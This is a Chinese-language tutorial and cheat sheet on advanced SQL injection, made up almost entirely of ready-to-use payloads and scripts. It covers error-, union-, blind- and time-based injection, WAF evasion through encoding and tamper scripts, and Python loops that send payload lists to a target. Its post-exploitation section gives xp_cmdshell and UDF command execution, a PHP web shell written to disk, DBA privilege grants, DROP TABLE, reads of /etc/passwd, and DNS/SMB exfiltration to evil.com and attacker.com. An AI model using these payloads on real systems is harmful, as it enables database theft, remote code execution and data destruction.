一文带你细数那些高级 SQL 注入技术

一. 先进的有效载荷和技术

基于错误的 SQL 注入

高级错误负载：

' AND (SELECT 1 FROM (SELECT COUNT(\*), CONCAT((SELECT version()), 0x3a, FLOOR(RAND(0)\*2)) x FROM information\_schema.tables GROUP BY x) y) -- -

基于联合的注入

确定列数：

' UNION SELECT NULL, NULL, NULL, NULL --

提取数据：

' UNION SELECT username, password, NULL, NULL FROM users --

盲 SQL 注入

基于布尔的盲注：

' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END) --

基于时间的盲注：
```
' AND IF(1=1, SLEEP(5), 0) --
```

二阶 SQL 注入

配置文件信息注入：修改存储在一个地方的数据以影响在其他地方执行的查询。

高级基于联合的 SQL 注入

1.基于 Union 的错误处理

通过制作复杂的有效负载来生成详细的错误消息：

' UNION SELECT 1, version(), database(), user() FROM dual WHERE 1=CAST((SELECT COUNT(\*) FROM information\_schema.tables) AS INT) --

2. 十六进制编码联合

对查询的部分内容进行编码以逃避 WAF：

' UNION SELECT 1, 0x62656e6368, 0x70617373776f7264, user() --

3. 多查询联合注入

利用多个查询来提取更多数据：

' UNION SELECT 1, database(), (SELECT GROUP\_CONCAT(table\_name) FROM information\_schema.tables WHERE table\_schema=database()), user() --

4.基于联合的跨数据库提取

合并来自不同数据库的数据（当支持时）：

' UNION SELECT 1, (SELECT column\_name FROM db1.table1 LIMIT 1), (SELECT column\_name FROM db2.table2 LIMIT 1), user() --

高级布尔型 SQL 注入

1. 基于时间的布尔注入与条件响应

使用时间延迟根据条件响应推断数据：

' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) --

2. 嵌套布尔注入

嵌套条件提取特定数据：

' AND IF((SELECT SUBSTRING((SELECT table\_name FROM information\_schema.tables LIMIT 1), 1, 1))='a', SLEEP(5), 0) --

3.基于错误的布尔注入

有条件地强制错误以显示信息：

' AND IF((SELECT COUNT(\*) FROM information\_schema.tables WHERE table\_schema=database())>5, (SELECT table\_name FROM information\_schema.tables), 1) --

4. 使用按位运算

使用按位运算来增加混淆度和复杂性：

' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1, SLEEP(5), 0) --

结合技术

结合多种先进技术，打造强大且更难检测的有效载荷。

示例：基于时间的注入联合

创建使用联合和基于时间的注入的有效载荷：

' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(), 4 --

示例：嵌套联合和布尔注入

将嵌套布尔条件与基于联合的数据提取相结合：

' UNION SELECT 1, IF((SELECT COUNT(\*) FROM information\_schema.tables WHERE table\_schema=database())>5, (SELECT table\_name FROM information\_schema.tables LIMIT 1), 1), 3, 4 --

使用自定义脚本实现自动化

使用自定义脚本自动执行这些先进技术，以有效地测试和提取数据。

示例：高级 Union 注入的 Python 脚本

import requests  
  
url = "http://example.com/vulnerable.php"  
payloads = \[  
    \# Advanced Union-Based Injections  
    "' UNION SELECT 1, version(), database(), user() FROM dual WHERE 1=CAST((SELECT COUNT(\*) FROM information\_schema.tables) AS INT) -- ",  
    "' UNION SELECT 1, 0x62656e6368, 0x70617373776f7264, user() -- ",  
    "' UNION SELECT 1, database(), (SELECT GROUP\_CONCAT(table\_name) FROM information\_schema.tables WHERE table\_schema=database()), user() -- ",  
    "' UNION SELECT 1, (SELECT column\_name FROM db1.table1 LIMIT 1), (SELECT column\_name FROM db2.table2 LIMIT 1), user() -- ",  
    \# Advanced Boolean-Based Injections  
    "' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) -- ",  
    "' AND IF((SELECT SUBSTRING((SELECT table\_name FROM information\_schema.tables LIMIT 1), 1, 1))='a', SLEEP(5), 0) -- ",  
    "' AND IF((SELECT COUNT(\*) FROM information\_schema.tables WHERE table\_schema=database())>5, (SELECT table\_name FROM information\_schema.tables), 1) -- ",  
    "' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1, SLEEP(5), 0) -- ",  
    \# Combined Techniques  
    "' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(), 4 -- ",  
    "' UNION SELECT 1, IF((SELECT COUNT(\*) FROM information\_schema.tables WHERE table\_schema=database())>5, (SELECT table\_name FROM information\_schema.tables LIMIT 1), 1), 3, 4 -- ",  
\]  
  
for payload in payloads:  
    response = requests.get(url, params\={"id": payload})  
    print(f"Payload: {payload}")  
    print(f"Response: {response.text}\\n")

二. 高级枚举

数据库指纹

MySQL：
```
' OR 1=1 AND @@version --
```
PostgreSQL：
```
' OR 1=1 AND version() --
```
MSSQL：
```
' OR 1=1 AND @@version --
```

列枚举

确定列数：
```
' ORDER BY 1 --   
' ORDER BY 2 --
```

提取列名：

' UNION SELECT column\_name FROM information\_schema.columns WHERE table\_name='users' --

高级数据提取

将多行合并为单个输出：

' UNION SELECT GROUP\_CONCAT(username, 0x3a, password) FROM users --

三. 绕过过滤器和 WAF

混淆

使用评论：

' UNION/\*\*/SELECT/\*\*/NULL,NULL,NULL --

案件操纵

更改 SQL 关键字的大小写：
```
' uNioN SeLecT NULL, NULL --
```

内联

插入内联评论：
```
' UNION/\*\*/SELECT/\*\*/NULL,NULL --
```

空格处理

使用不同类型的空白字符：
```
' UNION%0D%0ASELECT%0D%0A NULL,NULL --
```

四. 利用高级场景

存储过程

执行任意 SQL：
```
'; EXEC xp\_cmdshell('whoami') --
```

带外 SQL 注入

通过 DNS 或 HTTP 请求窃取数据：

'; EXEC master..xp\_dirtree '\\\\evil.com\\payload' --

利用特权

读取或写入文件：

' UNION SELECT LOAD\_FILE('/etc/passwd') --

五. 自动化和自定义脚本

自定义 SQLMap 命令

绕过 WAF 或针对特定注入点：

sqlmap \-u "http://example.com/vulnerable.php?id=1" \--tamper\=space2comment \--level\=5 \--risk\=3

我使用的一些篡改脚本 tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

六. 创建自己的篡改脚本

为 SQLMap 创建自己的篡改脚本需要编写一个 Python 脚本，该脚本会修改 SQLMap 用来规避 Web 应用程序防火墙 (WAF) 或其他过滤机制的有效负载。以下是创建自定义篡改脚本的分步指南。

步骤 1：了解篡改脚本的基础知识

篡改脚本会修改发送到服务器的有效负载。该脚本应包含一个名为的函数，tamper
该函数以有效负载字符串作为参数并返回修改后的有效负载字符串。

步骤2：篡改脚本的结构

以下是篡改脚本的基本结构：

#!/usr/bin/env python  
  
import random  
  
\_\_priority\_\_ = 1  
  
def dependencies():  
    pass  
  
def tamper(payload):  
    \# Modify the payload here  
    modified\_payload = payload  
    return modified\_payload

priority
：定义篡改脚本的应用顺序。
dependencies()
：检查任何所需的依赖项。
tamper(payload)
：修改payload的主要函数。

步骤3：实现简单的篡改脚本

让我们创建一个简单的篡改脚本，用注释替换空格以逃避基本过滤器。

示例：空间到注释篡改脚本

#!/usr/bin/env python  
  
import random  
  
\_\_priority\_\_ = 1  
  
def dependencies():  
    pass  
  
def tamper(payload):  
    """  
    Replaces space character (' ') with a random inline comment ('/\*\*/')  
    """  
    if payload:  
        payload = payload.replace(" ", "/\*\*/")  
    return payload

步骤 4：更高级的示例

现在，让我们创建一个更高级的篡改脚本，随机对有效负载中的字符进行 URL 编码。

示例：随机 URL 编码篡改脚本

#!/usr/bin/env python  
  
import random  
  
\_\_priority\_\_ = 1  
  
def dependencies():  
    pass  
  
def tamper(payload):  
    """  
    Randomly URL encodes characters in the payload  
    """  
    if payload:  
        encoded\_payload = ""  
        for char in payload:  
            if random.randint(0, 1):  
                encoded\_payload += "%%%02x" % ord(char)  
            else:  
                encoded\_payload += char  
        return encoded\_payload  
    return payload

步骤5：保存并使用篡改脚本

保存脚本：将您的篡改脚本保存在tamper
SQLMap 安装目录中。例如，将其保存为random_urlencode.py
。
使用脚本：使用--tamper
SQLMap 中的选项应用您的自定义篡改脚本。

sqlmap \-u "http://example.com/vulnerable.php?id=1" \--tamper\=random\_urlencode

步骤6：测试和调试

测试：通过使用不同的有效负载运行 SQLMap 确保脚本按预期工作。
调试：如有必要，打印调试信息。您可以在tamper
函数中添加打印语句来调试脚本。

调试示例

#!/usr/bin/env python  
  
import random  
  
\_\_priority\_\_ = 1  
  
def dependencies():  
    pass  
  
def tamper(payload):  
    """  
    Randomly URL encodes characters in the payload  
    """  
    if payload:  
        encoded\_payload = ""  
        for char in payload:  
            if random.randint(0, 1):  
                encoded\_payload += "%%%02x" % ord(char)  
            else:  
                encoded\_payload += char  
        print(f"Original: {payload}")  
        print(f"Modified: {encoded\_payload}")  
        return encoded\_payload  
    return payload

七.更多技巧

堆叠查询

执行多个语句：

'; DROP TABLE users; SELECT \* FROM admin --

带有 Web 应用程序防火墙的 SQLi

使用混淆的有效载荷：

' UNION SELECT CHAR(117,115,101,114,110,97,109,101), CHAR(112,97,115,115,119,111,114,100) --

利用 SQL 函数

使用 SQL 函数进行数据泄露：

' UNION SELECT version(), current\_database() --

DNS 泄露

使用 DNS 请求进行数据泄露：

'; SELECT load\_file('/etc/passwd') INTO OUTFILE '\\\\\\\\attacker.com\\\\share' --

利用 JSON 函数

使用 JSON 函数提取数据：

' UNION SELECT json\_extract(column\_name, '$.key') FROM table\_name --

八. 先进的自动化技术

SQLMap 自定义

使用自定义篡改脚本：

sqlmap \-u "http://example.com/vulnerable.php?id=1" \--tamper\=~/location/ofthescript/charencode.py \--level\=5 \--risk\=3

九. SQL 注入的 WAF 绕过技术

1. 使用编码和混淆

URL 编码

对有效载荷的部分进行编码以绕过基本的关键字检测。
```
%27%20UNION%20SELECT%20NULL,NULL,NULL--
```

双重 URL 编码

对有效载荷进行双重编码以逃避检测机制。
```
%2527%2520UNION%2520SELECT%2520NULL,NULL,NULL--
```

十六进制编码

对有效载荷使用十六进制编码。

' UNION SELECT 0x61646D696E, 0x70617373776F7264 --

2. 案例操作及评论

混合大小写

更改 SQL 关键字的大小写。
```
' uNioN SeLecT NULL, NULL --
```

内联评论

在 SQL 关键字中插入注释来混淆有效负载。
```
' UNION/\*\*/SELECT/\*\*/NULL,NULL --
```

3. 空格和特殊字符

使用不同的空白字符

用其他空白字符（如制表符或换行符）替换空格。
```
' UNION%0D%0ASELECT%0D%0A NULL,NULL --
```

与特殊字符连接

使用特殊字符和连接来动态构建有效载荷。

' UNION SELECT CHAR(117)||CHAR(115)||CHAR(101)||CHAR(114), CHAR(112)||CHAR(97)||CHAR(115)||CHAR(115) --

4. SQL函数和命令混淆

字符串连接

将字符串分解成更小的部分并将它们连接起来。
```
' UNION SELECT 'ad'||'min', 'pa'||'ss' --
```

使用 SQL 函数

利用 SQL 函数来操纵有效负载。

' UNION SELECT VERSION(), DATABASE() --

5.基于时间和基于布尔的有效载荷

基于时间的盲注入

使用时间延迟从响应中推断信息。
```
' AND IF(1=1, SLEEP(5), 0) --
```

基于布尔的盲注入

使用根据真实或虚假条件改变响应的条件。
```
' AND IF(1=1, 'A', 'B')='A' --
```

6. 高级编码技术

Base64 编码

使用 Base64 对有效载荷进行编码。

' UNION SELECT FROM\_BASE64('c2VsZWN0IHZlcnNpb24oKQ\==') --

自定义编码脚本

创建自定义脚本来对不同格式的有效负载进行编码和解码。

7. 链接技术

结合多种绕过技术

使用多种技术来创建更复杂、更难检测的有效载荷。

%27%20UNION/\*\*/SELECT/\*\*/CHAR(117)%7C%7CCHAR(115)%7C%7CCHAR(101)%7C%7CCHAR(114),%20CHAR(112)%7C%7CCHAR(97)%7C%7CCHAR(115)%7C%7CCHAR(115)%20--%0A

8. 利用鲜为人知的 SQL 功能

使用 JSON 函数

利用 JSON 函数来操作和提取数据。

' UNION SELECT json\_extract(column\_name, '$.key') FROM table\_name --

使用 XML 函数

利用 XML 函数创建更复杂的有效负载。
```
' UNION SELECT extractvalue(1, 'version()') --
```

十. 强制数据库错误以进行 SQL 注入的技术

强制数据库中的错误有助于揭示有关底层 SQL 查询、数据库结构甚至数据本身的宝贵信息。以下是一些强制各种数据库中错误的高级技术：

1.语法错误

经典语法错误

引入故意的语法错误来引出错误消息。
```
' OR 1=1; --
```

未结束的引号

留下未封闭的引文将会产生错误。
```
' OR 'a'='a
```

2. 类型转换错误

类型转换无效

将字符串转换为整数会导致类型转换错误。
```
' UNION SELECT CAST('abc' AS SIGNED) --
```

3. 基于功能的错误

被零除

强制除以零错误。
```
' UNION SELECT 1/0 --
```

函数使用无效

错误地使用函数会触发错误。
```
' UNION SELECT EXP('abc') --
```

4.子查询错误

无效子查询

以导致错误的方式使用子查询。

' UNION SELECT (SELECT COUNT(\*) FROM (SELECT 1 UNION SELECT 2) AS temp) --

5. 数据库特定错误

MySQL 错误

使用无效查询来触发 MySQL 特定的错误。
```
' UNION SELECT GTID\_SUBSET('abc', 'def') --
```

PostgreSQL 错误

使用无效操作导致 PostgreSQL 错误。
```
' UNION SELECT TO\_NUMBER('abc', '999') --
```

MSSQL 错误

错误使用 MSSQL 特定函数会触发错误。
```
' UNION SELECT CONVERT(INT, 'abc') --
```

6. 信息模式查询

表名无效

使用无效的表名查询信息模式。

' UNION SELECT table\_name FROM information\_schema.tables WHERE table\_name = 'non\_existent\_table' --

7. 盲 SQL 注入错误

故意虚假情况

使用错误条件间接强制发生错误。

' AND 1=(SELECT COUNT(\*) FROM information\_schema.tables WHERE table\_schema='non\_existent\_database') --

8. 高级错误技术

递归查询

使用递归查询来强制错误。

' UNION SELECT 1 FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION SELECT 4) AS temp WHERE temp=1 --

无效的十六进制值

使用无效的十六进制值触发错误。
```
' UNION SELECT 0xZZ --
```

9. 结合技术

链式错误强制

结合多种强制错误技术以获得更为稳健的结果。

' UNION SELECT CONVERT(INT, 'abc') UNION SELECT 1/0 UNION SELECT TO\_NUMBER('abc', '999') --

强制数据库错误以进行 SQL 注入的技术

以下是一些针对 MSSQL、MySQL 和 Oracle 的高级且罕见的 SQL 注入技术。这些技术超越了基本技术，并利用了数据库的特定功能和配置。

MSSQL

OLE 自动化程序

DECLARE @Object INT;  
EXEC sp\_OACreate 'WScript.Shell', @Object OUTPUT;  
EXEC sp\_OAMethod @Object, 'Run', NULL, 'cmd.exe /c whoami > C:\\output.txt';

这使用 OLE 自动化程序来执行系统命令。

具有权限提升功能的 XP_CMD Shell

EXEC sp\_configure 'show advanced options', 1;  
RECONFIGURE;  
EXEC sp\_configure 'xp\_cmdshell', 1;  
RECONFIGURE;  
EXEC xp\_cmdshell 'whoami';

xp_cmdshell
如果尚未启用，这将启用执行系统命令。

链接服务器

EXEC sp\_addlinkedserver 'attacker\_server';  
EXEC sp\_addlinkedsrvlogin 'attacker\_server', 'false', NULL, 'username', 'password';  
EXEC ('xp\_cmdshell ''net user''') AT attacker\_server;

该技术使用链接服务器在不同的服务器上运行命令。

MySQL

用于远程命令执行的 UDF（用户定义函数）

CREATE TABLE foo(line BLOB);  
INSERT INTO foo VALUES (LOAD\_FILE('/usr/lib/lib\_mysqludf\_sys.so'));  
SELECT \* FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/lib\_mysqludf\_sys.so';  
CREATE FUNCTION sys\_exec RETURNS INTEGER SONAME 'lib\_mysqludf\_sys.so';  
SELECT sys\_exec('id > /tmp/out; chown mysql.mysql /tmp/out');

该技术涉及创建 UDF 来执行系统命令。

DNS 泄露

SELECT LOAD\_FILE(CONCAT('\\\\\\\\', (SELECT table\_name FROM information\_schema.tables LIMIT 0,1), '.attacker.com\\\\a'));

这会通过 DNS 请求将数据泄露到攻击者控制的域。

二进制日志注入

SET GLOBAL general\_log \= 'ON';  
SET GLOBAL general\_log\_file \= '/var/lib/mysql/mysql.log';  
SELECT '<?php system($\_GET\["cmd"\]); ?>' INTO OUTFILE '/var/www/html/shell.php';

这利用二进制日志功能来编写 Web shell。

Oracle

命令执行的 Java 过程

EXEC dbms\_java.grant\_permission( 'SCOTT', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute' );  
EXEC dbms\_java.grant\_permission( 'SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '' );  
EXEC dbms\_java.grant\_permission( 'SCOTT', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '' );  
  
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "cmd" AS  
import java.io.\*;  
public class cmd {  
   public static String run(String cmd) {  
      try {  
         StringBuffer output \= new StringBuffer();  
         Process p \= Runtime.getRuntime().exec(cmd);  
         BufferedReader reader \= new BufferedReader(new InputStreamReader(p.getInputStream()));  
         String line \= "";  
         while ((line \= reader.readLine())!= null) {  
            output.append(line + "\\n");  
         }  
         return output.toString();  
      } catch (Exception e) {  
         return e.toString();  
      }  
   }  
};  
/  
  
CREATE OR REPLACE FUNCTION run\_cmd(p\_cmd IN VARCHAR2) RETURN VARCHAR2  
AS LANGUAGE JAVA  
NAME 'cmd.run(java.lang.String) return java.lang.String';  
/  
  
SELECT run\_cmd('id') FROM dual;

这使用 Java 存储过程来执行系统命令。

用于文件访问的 UTL_FILE 程序包

DECLARE  
   l\_file UTL\_FILE.FILE\_TYPE;  
   l\_text VARCHAR2(32767);  
BEGIN  
   l\_file :\= UTL\_FILE.FOPEN('DIRECTORY\_NAME', 'output.txt', 'W');  
   UTL\_FILE.PUT\_LINE(l\_file, 'Data from UTL\_FILE');  
   UTL\_FILE.FCLOSE(l\_file);  
END;

该技术使用UTL_FILE
包将文件写入服务器。

DBMS_SCHEDULER 用于作业执行

BEGIN  
   DBMS\_SCHEDULER.create\_job(  
      job\_name \=> 'job1',  
      job\_type \=> 'PLSQL\_BLOCK',  
      job\_action \=> 'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO SCOTT''; END;',  
      start\_date \=> SYSTIMESTAMP,  
      repeat\_interval \=> NULL,  
      end\_date \=> NULL,  
      enabled \=> TRUE  
   );  
END;

这用于DBMS_SCHEDULER
执行可以改变数据库权限的作业。

十一. 在各种 DBMS 上强制生成错误的高级方法

以下是一些特定于某些 DBMS 的高级技术，用于强制错误并收集有价值的信息。通过使用这些高级方法在不同的 DBMS 上强制错误，您可以收集详细的错误消息，这些消息揭示了有关数据库的有价值信息，帮助您更有效地识别和利用 SQL 注入漏洞。

MySQL

使用无效函数

MySQL 提供的许多函数如果使用不当，可能会产生错误。
```
' AND EXP(~(SELECT \* FROM (SELECT 1) t)) --
```

十六进制转换无效

使用无效的十六进制值可能会导致错误。
```
' AND 0xG1 --
```

SELECT 子句中的子查询

使用在单个值上下文中返回多行的子查询。
```
' AND (SELECT \* FROM (SELECT 1,2) t) = 1 --
```

PostgreSQL

无效的正则表达式

PostgreSQL 的正则表达式函数如果使用不当可能会导致错误。
```
' AND 'a' ~ 'b\[' --
```

无效的 JSON 操作

使用具有无效操作的 JSON 函数。

' AND jsonb\_path\_query\_first('{"a":1}', '$.a') --

递归 CTE

错误地使用递归通用表表达式 (CTE)。

' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT \* FROM t --

MSSQL

无效的 XML 查询

当与无效 XML 一起使用时，MSSQL 的 XML 函数会产生错误。

'; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)\[1\]', 'INT') --

无效数据转换

转换不兼容的数据类型时，转换函数可能会导致错误。
```
'; SELECT CAST('text' AS INT) --
```

使用错误函数进行 SQL 注入

使用内置错误函数生成错误。

'; RAISERROR('Error generated', 16, 1) --

甲骨文

无效数据操作

Oracle 的特定函数和数据操作可能会导致错误。

' UNION SELECT UTL\_INADDR.get\_host\_address('invalid\_host') FROM dual --

XMLType 用法无效

不正确地使用XMLType会导致错误。

' UNION SELECT XMLType('<invalid><xml>') FROM dual --

使用 SYS.DBMS_ASSERT

利用 Oracle 的断言包来强制错误。

' UNION SELECT SYS.DBMS\_ASSERT.noop('invalid\_input') FROM dual --

SQLite

无效的字符串函数

SQLite 的字符串函数如果使用不当，可能会产生错误。
```
' UNION SELECT SUBSTR('text', -1, 1) --
```

无效的数学运算

使用具有无效输入的数学函数。
```
' UNION SELECT POW('text', 2) --
```

无效的日期函数

使用带有不正确参数的日期函数。
```
' UNION SELECT DATE('invalid\_date') --
```

强制错误的 Python 脚本

自动错误注入

import requests  
  
url = "http://example.com/vulnerable.php"  
payloads = \[  
    \# MySQL  
    "' AND EXP(~(SELECT \* FROM (SELECT 1) t)) -- ",  
    "' AND 0xG1 -- ",  
    "' AND (SELECT \* FROM (SELECT 1,2) t) = 1 -- ",  
    \# PostgreSQL  
    "' AND 'a' ~ 'b\[' -- ",  
    "' AND jsonb\_path\_query\_first('{'a':1}', '$.a') -- ",  
    "' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT \* FROM t -- ",  
    \# MSSQL  
    "; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)\[1\]', 'INT') -- ",  
    "; SELECT CAST('text' AS INT) -- ",  
    "; RAISERROR('Error generated', 16, 1) -- ",  
    \# Oracle  
    "' UNION SELECT UTL\_INADDR.get\_host\_address('invalid\_host') FROM dual -- ",  
    "' UNION SELECT XMLType('<invalid><xml>') FROM dual -- ",  
    "' UNION SELECT SYS.DBMS\_ASSERT.noop('invalid\_input') FROM dual -- ",  
    \# SQLite  
    "' UNION SELECT SUBSTR('text', -1, 1) -- ",  
    "' UNION SELECT POW('text', 2) -- ",  
    "' UNION SELECT DATE('invalid\_date') -- ",  
\]  
  
for payload in payloads:  
    response = requests.get(url, params\={"id": payload})  
    print(f"Payload: {payload}")  
    print(f"Response: {response.text}\\n")

十二. 使用强制错误提取数据库名称和主机名

这些先进的基于错误的 SQL 注入技术，您可以提取关键信息，例如数据库名称和主机名，这可以进一步帮助您的开发工作。

MySQL

提取数据库名称

使用基于错误的注入来提取数据库名称。

' AND (SELECT 1 FROM (SELECT COUNT(\*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)\*2)) x FROM information\_schema.tables GROUP BY x) y) --

提取主机名

使用基于错误的注入来提取主机名。

' AND (SELECT 1 FROM (SELECT COUNT(\*), CONCAT((SELECT @@hostname), 0x3a, FLOOR(RAND(0)\*2)) x FROM information\_schema.tables GROUP BY x) y) --

PostgreSQL

提取数据库名称

使用基于错误的注入来提取当前数据库名称。
```
' AND 1=CAST((SELECT current\_database()) AS INT) --
```

提取主机名

PostgreSQL 没有直接提供主机名函数，但您可以使用其他元数据查询或内置扩展，例如
```
inet\_server\_addr
```
```
' AND 1=CAST((SELECT inet\_server\_addr()) AS INT) --
```

MSSQL

提取数据库名称

使用基于错误的注入来提取当前数据库名称。
```
'; SELECT 1 WHERE 1=CAST(DB\_NAME() AS INT) --
```

提取主机名

使用基于错误的注入来提取服务器主机名。
```
'; SELECT 1 WHERE 1=CAST(@@servername AS INT) --
```

Oracle

提取数据库名称

使用基于错误的注入来提取当前数据库名称。

' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT ora\_database\_name FROM dual) AS INT) --

提取主机名

使用基于错误的注入来提取主机名。

' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT SYS\_CONTEXT('USERENV', 'HOST') FROM dual) AS INT) --

SQLite

提取数据库名称

SQLite 每个文件使用单个数据库，但您可以强制出现错误以显示与数据库相关的信息。
```
' AND 1=CAST((SELECT name FROM sqlite\_master WHERE type='table' LIMIT 1) AS INT) --
```

提取主机名

SQLite 本身没有主机名，因为它是基于文件的数据库。但是，您可以推断文件路径，这可能会提供线索。
```
' AND 1=CAST((SELECT file FROM pragma\_database\_list LIMIT 1) AS INT) --
```

Python 脚本实现流程自动化

import requests  
  
url = "http://example.com/vulnerable.php"  
payloads = \[  
    \# MySQL  
    "' AND (SELECT 1 FROM (SELECT COUNT(\*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)\*2)) x FROM information\_schema.tables GROUP BY x) y) -- ",  
    "' AND (SELECT 1 FROM (SELECT COUNT(\*), CONCAT((SELECT @@hostname), 0x3a, FLOOR(RAND(0)\*2)) x FROM information\_schema.tables GROUP BY x) y) -- ",  
    \# PostgreSQL  
    "' AND 1=CAST((SELECT current\_database()) AS INT) -- ",  
    "' AND 1=CAST((SELECT inet\_server\_addr()) AS INT) -- ",  
    \# MSSQL  
    "; SELECT 1 WHERE 1=CAST(DB\_NAME() AS INT) -- ",  
    "; SELECT 1 WHERE 1=CAST(@@servername AS INT) -- ",  
    \# Oracle  
    "' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT ora\_database\_name FROM dual) AS INT) -- ",  
    "' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT SYS\_CONTEXT('USERENV', 'HOST') FROM dual) AS INT) -- ",  
    \# SQLite  
    "' AND 1=CAST((SELECT name FROM sqlite\_master WHERE type='table' LIMIT 1) AS INT) -- ",  
    "' AND 1=CAST((SELECT file FROM pragma\_database\_list LIMIT 1) AS INT) -- ",  
\]  
  
for payload in payloads:  
    response = requests.get(url, params\={"id": payload})  
    print(f"Payload: {payload}")